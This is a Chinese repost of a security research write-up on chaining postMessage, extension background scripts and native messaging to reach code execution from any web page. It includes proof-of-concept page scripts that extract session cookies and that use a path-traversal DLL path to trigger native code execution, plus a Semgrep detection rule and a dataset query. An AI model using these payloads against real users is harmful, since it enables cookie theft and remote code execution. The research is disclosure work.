通过在浏览器和浏览器扩展中链接各种消息传递 API,我演示了如何从网页跳转到“通用代码执行”,从而破坏同源策略和浏览器沙盒。我提供了两个影响数百万用户的新漏洞披露作为示例。此外,我还演示了如何结合使用大型数据集查询和静态代码分析来大规模发现此类漏洞。
注意:扩展案例研究已于 4 月向其所有者披露,但尚未修补,因此受到审查。
简介
通用跨站点脚本 (XSS) 被描述为“最强大的 XSS”,因为它能够在任何网页上执行(因此是“通用的”)并且在某些情况下破坏同源策略。原因是漏洞存在于浏览器或浏览器扩展中,允许它超出单源的范围。
然而,由于浏览器扩展 API 的功能不断增长,以及危险的本地消息传递协议实现,一个更具影响力的漏洞可以被利用——通用代码执行。正如 Arseny Reutov 早在 2017 年在“Chrome 扩展中的 PostMessage 安全性”中所观察到的那样,有一种方法可以将消息从网页一直转发到本机应用程序,而且自那以后并没有太大的改进。不幸的是,漏洞研究的一个事实是,你只会在中途意识到另一位研究人员之前也采取了同样的方法,但仍然值得重新审视旧技术,看看它们是否仍然适用。
内容脚本消息
通常,浏览器扩展程序需要在用户访问的页面上下文中执行 JavaScript。例如,浏览器可能会修改页面的文档对象模型 (DOM)。这些扩展程序必须在其文件中声明内容脚本,例如:manifest.json
"content_scripts": [
{
"js": [
"js/contentscript.js"
],
"matches": [
"http://*/*",
"https://*/*"
],
"all_frames": true
}
]
在这种情况下,js/contentscript.js扩展中的脚本将被注入到与模式匹配的任何页面的所有框架中。虽然理想情况下,模式应该严格限制在特定页面,但使用万能通配符的通用扩展(如示例)也很常见。
这当然是一种非常强大的功能,这就是为什么内容脚本被放置在称为“隔离世界”的私有执行环境中,从而大大限制了可能发生的损害(例如,如果内容脚本中存在 DOM XSS)。内容脚本无法访问网页上的 JavaScript 变量或其他注入的内容脚本,并且在单独的默认内容安全策略内运行,从而阻止内联 JavaScript 执行。
因此,为了执行除修改页面 DOM 之外的更复杂的功能,内容脚本必须将消息传递给在单独的页面上下文中运行的扩展程序的后台脚本或服务工作线程。一种常见的模式是,这些后台脚本充当从内容脚本传递的消息的事件处理程序,这些消息包含有关已加载网页的信息。
为此,内容脚本可以使用多个 API 与后台脚本进行通信。一种常见的方法是通过chrome.runtime.sendMessage()。
例如,内容脚本执行以下操作:
await chrome.runtime.sendMessage({greeting: "hello"});
当后台脚本等待消息处理程序时:
chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
console.log(sender.tab ?
"from a content script:" + sender.tab.url :
"from the extension");
if (request.greeting === "hello")
sendResponse({farewell: "goodbye"});
}
);
虽然可以跨扩展程序发送消息,但大多数扩展程序仅允许在自己的内容脚本和后台脚本之间传递消息。不幸的是,正如前面提到的,恶意网页可以通过多种方式闯入此对话。
postMessage() 到 sendMessage()
扩展内容脚本中的一个常见漏洞模式是处理程序缺乏来源验证postMessage。
postMessage是一种独立于 的消息传递机制sendMessage,通常用于网页(而非扩展程序)的跨窗口/标签消息传递。但是,它为扩展程序开发人员提供了一种方便的方式,允许网页与隔离的内容脚本以及后台脚本进行通信。事实上,这是 Chrome 自己的开发人员文档 推荐的模式。
例如,考虑一个简单的用例,其中网页想要检查扩展的版本。回想一下,内容脚本在一个孤立的世界中运行,无法访问它们嵌入的网页中的 JavaScript 变量。但是,内容脚本仍然可以共享对页面 DOM 的访问权限,因此可以接收postMessage消息。
该网页可以运行以下命令:
document.getElementById("checkInstalledButton").addEventListener("click", () => {
window.postMessage(
{type: "CHECK_INSTALLED_VERSION", latestVersion: "1.2.3" }, "*");
}, false);
当内容脚本监听消息时:
var port = chrome.runtime.connect();
window.addEventListener("message", (event) => {
// We only accept messages from ourselves
if (event.source !== window) {
return;
}
if (event.data.type && (event.data.type === "CHECK_INSTALLED_VERSION")) {
console.log("Content script received: " + event.data.type);
port.postMessage(event.data);
}
}, false);
违反同源
通过利用内容脚本和后台脚本之间的信任边界,恶意网页可以利用易受攻击的扩展的扩展功能轻松突破同源策略保护。
一个例子是拥有 300,000 名用户的“扩展程序 A”,它“为 提供了增强的用户体验” https://website-a.com。然而,扩展程序清单在每个页面上都注入了内容脚本,而不仅仅是https://website-a.com:
"content_scripts": [
{
"js": [
"js/jquery-3.2.1.min.js",
"js/contentscript.js",
],
"matches": [
"http://*/*",
"https://*/*"
],
"all_frames": true
}
此外,该扩展程序还具有访问多个其他来源的 cookie 的权限:
"permissions": [
"cookies",
"webRequest",
"webRequestBlocking",
"https://website-a.com/*",
"https://website-b.com/*",
"https://*.website-c.com/*"
]
利用相同的嵌入页面通信模式,后台脚本接受以下消息类型,该消息类型仅返回请求域的所有 cookie:
chrome.runtime.onMessage.addListener(function(a, b, c) {
switch (a.Action) {
// ...
case "GETCOOKIE":
GetCookie(a, b.tab.id);
break;
// ...
function GetCookie(a, b) {
chrome.cookies.getAll({
domain: a.URL
}, function(c) {
var d = [];
$(c).each(function() {
d.push({
name: this.name,
value: this.value,
domain: this.domain,
secure: this.secure,
path: this.path
})
});
a.Data = JSON.stringify(d);
SendMessage("ONRESULT", a, b)
})
}
因此,任何域中包含以下脚本的任何网页都可以触发扩展程序将白名单域中的会话 cookie 返回到页面:
function runPoc() {
const payload = {
Action: "GETCOOKIE",
background: true,
URL: "website-a.com"
}
window.postMessage(payload, '*');
}
setTimeout(runPoc, 1000)
这实际上是一次同源策略突破,因为https://example.com上的恶意页面现在可以访问https://website-a.com的 cookie 。
原生消息
然而,为了超越现有研究和仅限网络的影响,我们可以转向另一种浏览器扩展功能:本机消息传递。这允许后台脚本与主机操作系统本身上运行的本机应用程序进行通信。例如,从桌面上的本机密码管理器应用程序检索密码的密码管理器扩展。
这些本机应用程序必须声明一个本机消息传递主机清单文件,然后在启动应用程序时由浏览器引用该文件。
{
"name": "com.my_company.my_application",
"description": "My Application",
"path": "C:\Program Files\My Application\chrome_native_messaging_host.exe",
"type": "stdio",
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
}
path一旦启动,浏览器将处理从扩展传递的消息到使用stdin和指定的进程stdout。然后后台脚本可以使用 发送消息chrome.runtime.sendNativeMessage():
chrome.runtime.sendNativeMessage(
'com.my_company.my_application',
{text: 'Hello'},
function (response) {
console.log('Received ' + response);
}
);
同时,本机应用程序可以以stdin任何它想要的方式处理消息——有时是危险的。
因此,我们得到了通用代码执行的完整链条:
-
浏览器扩展具有内容脚本的通配符模式。
-
内容脚本postMessage使用 将消息传递给后台脚本sendMessage。
-
后台脚本使用 将消息传递给本机应用程序sendNativeMessage。
-
本机应用程序以危险的方式处理该消息,导致代码执行。
大规模浏览器扩展漏洞
由于此链的要求比较狭窄,因此寻找此类扩展程序可能很困难。不过,借助chrome-extension-manifests-dataset项目,可以快速查询数十万个 Chrome 扩展程序以查找匹配的清单。
查询所有用户数大于 250,000、包含内容脚本并使用本机消息传递功能的 Chrome 扩展程序可以按如下方式完成:
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
此时,过滤掉通配符内容脚本匹配模式可能没有帮助,因为这可以用多种方式表达,包括<all_urls>。这产生了大约 229 个候选,可以使用 Semgrep 自定义代码扫描规则进一步缩小范围以查找易受攻击的postMessage处理程序。
rules:
- id: content-script-postmessage-to-chrome-runtime-sendmessage
mode: taint
options:
interfile: true
message: Content script postmessage handler forwards data to chrome runtime.
languages:
- javascript
- typescript
severity: ERROR
pattern-sources:
- patterns:
- pattern-inside: window.addEventListener('message', function($EVENT) { ... }, ...)
- pattern-not: ... if (<... $EVENT.origin ...>) { ... } ...
- focus-metavariable: $EVENT
pattern-sinks:
- pattern: $CHROME_RUNTIME.sendMessage(...)
- pattern: port.postMessage(...)
智能卡中的命令执行
PKI(公钥基础设施)智能卡相关功能扩展中本机消息传递的一个常见用途。PKI 智能卡传统上用于无密码身份验证,但浏览器本身并不支持该功能,浏览器主要支持 WebAuthn 标准,而不是 FIDO2 和密钥。
因此,为了填补这一空白,想要使用 PKI 智能卡身份验证的网页依赖于与智能卡接口的本机应用程序通信的浏览器扩展。鉴于大量企业网站仍然依赖 PKI 智能卡,这些扩展拥有令人惊讶的庞大用户群。
其中一个扩展是拥有 200 万用户的扩展 B。从最新版本开始,该扩展会将其内容脚本注入所有页面。不幸的是,考虑到此扩展的性质,它“特意”允许 PKI 智能卡功能在任何页面上运行。
"content_scripts": [ {
"all_frames": true,
"js": [ "content.js" ],
"matches": [ "*://*/*", "file:///*" ],
"run_at": "document_start"
} ]
内容脚本监听消息并将其传递给后台脚本。虽然看似存在源检查,但实际上是从消息数据本身中获取的,而消息数据可由发送者直接控制。
window.addEventListener("message", function(event) {
// We only accept messages from ourselves
if (event.source !== window)
return;
if (event.data.src && (event.data.src === "user_page.js")) {
event.data["origin"] = location.origin;
if (SDLogToConsole) {
console.log("From page: ");
console.log(event.data);
}
//Send Message to Extension
chrome.runtime.sendMessage(event.data, function(resp) {});
}
});
反过来,后台脚本将消息直接传递给本机应用程序。
var port = chrome.runtime.connectNative("example.b.chrome.host");
chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
console.log(sender.tab ?
"from a content script:" + sender.tab.url :
"From the extension");
if (port == null )
{
chrome.windows.create({url: "popup.html", type:"popup", top:100, left:100, width:630,height:320});
return true;
}
port.postMessage(request);
return true;
});
那么原生应用是如何处理该消息的呢?首先,我们必须确定与 关联的应用example.b.chrome.host。扩展的网站提供了针对各种操作系统的相应原生应用。还提供了一些集成源代码,二进制文件本身是一个 .NET 程序集。
stdin从那里,我们可以识别出将解析为包含键的 JSON 对象的消息解析代码action。对于该GetCertLib操作,它获取 JSON 对象中项目的值PKCS11Lib,并最终将其传递给在路径上加载 DLL 的函数PKCS11Lib。
public static TxnRespWithObj<List<X509Certificate2>> EnumerateSCCertificates(string PKCS11Lib)
{
List<X509Certificate2> x509Certificate2List = new List<X509Certificate2>();
TxnRespWithObj<List<X509Certificate2>> txnRespWithObj1;
try
{
string str = "C:\Windows\System32\" + PKCS11Lib;
if (!File.Exists(str))
return new TxnRespWithObj<List<X509Certificate2>>()
{
IsSuccess = false,
TxnOutcome = "Required Smartcard driver " + str + " not found. Install token drivers and try again."
};
using (IPkcs11Library pkcs11Library = PKCS11SCUnlock.Factories.Pkcs11LibraryFactory.LoadPkcs11Library(PKCS11SCUnlock.Factories, str, AppType.MultiThreaded))
这是 DLL 加载的一种非常常见的遍历模式,我也在ZScaler 客户端连接器中利用了它。
因此,通过首先触发恶意 DLL 文件的下载,然后发送带有操作的消息GetCertLib并PKCS11Lib指向下载位置,攻击者可以从任何网页跳转到完整的命令执行,只要受害者安装了扩展和匹配的本机应用程序。
<script>
// Function to handle incoming postMessage events
function receiveMessage(event) {
// Access the data sent from the other window/iframe
const receivedData = event.data;
// Create a new paragraph element to display the message
const newMessage = document.createElement('p');
newMessage.textContent = JSON.stringify(receivedData);
// Append the new message to the message container
const messageContainer = document.getElementById('messageContainer');
messageContainer.appendChild(newMessage);
}
// Add event listener to listen for postMessage events
window.addEventListener('message', receiveMessage);
function runPoc() {
window.postMessage({src: 'user_page.js', action: 'GetCertLib', PKCS11Lib: '..\..\..\..\..\Users\James\Downloads\payload.txt'}, "*")
}
function downloadPayload() {
const downloadLink = document.getElementById('download');
downloadLink.click()
setTimeout(runPoc, 2000);
}
setTimeout(downloadPayload, 2000);
</script>
结论
在本文中,我将演示如何使用本机消息传递扩展浏览器扩展消息传递链以实现“通用代码执行”。借助大型数据集和静态代码分析自动化,可以找到大量具有大量用户群的可利用扩展。使用这种模式的一些扩展的性质使其难以在源头上保证安全,因此必须在链中的每个环节都小心处理。
原文始发于微信公众号(Ots安全):通过浏览器扩展中的链接消息实现通用代码执行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论